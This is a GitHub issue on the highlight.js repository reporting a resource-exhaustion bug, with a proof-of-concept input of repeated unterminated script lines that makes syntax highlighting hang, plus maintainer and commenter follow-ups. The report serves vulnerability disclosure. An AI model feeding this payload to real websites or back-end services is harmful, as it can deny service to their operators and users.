Skip to content

Resource exhaustion #4261

@ErazerBrecht

Description

@ErazerBrecht

Describe the issue/behavior that seems buggy
While testing our code, we found that we could make our 'markdown editor' crash.
After some additional research, I found that the highlighting caused it.

I also decided to test the POC on the demo page of highlight.js, and there it also uses a lot of resources.
The browser will eventually show the 'This page isn't responding' pop-up

Sample Code or Instructions to Reproduce

<body>
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
    <script>self.__next_f.push([1,":[\"
</body>

Expected behavior
Page doesn't crash

Additional context
I submitted this to security@highlightjs.org, but didn't get any response.
This can be used to impact the availability of a webpage.

Activity

changed the title [-]Client side resource exhausting[/-] [+]Resource exhausting [/+] on May 14, 2025
ErazerBrecht

ErazerBrecht commented on May 14, 2025

@ErazerBrecht
Author

If people use this package in their back-ends (NodeJS, pdf generators, ...)
This will cause load on their infrastructure, eventually resulting in a denial of service

changed the title [-]Resource exhausting [/-] [+]Resource exhaustion[/+] on May 14, 2025
joshgoebel

joshgoebel commented on May 28, 2025

@joshgoebel
Member

Which grammar choice results in the bad behavior?

sporkmonger

sporkmonger commented on Jun 13, 2025

@sporkmonger

The original payload won't trigger it for all grammars. I'll send an email to security@highlightjs.org with the list of vulnerable grammars and a minimal reproduction PoC that includes another payload that will trigger the vulnerability for a longer list.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

      Development

      No branches or pull requests

        Participants

        @sporkmonger@joshgoebel@ErazerBrecht

        Issue actions

          Resource exhaustion · Issue #4261 · highlightjs/highlight.js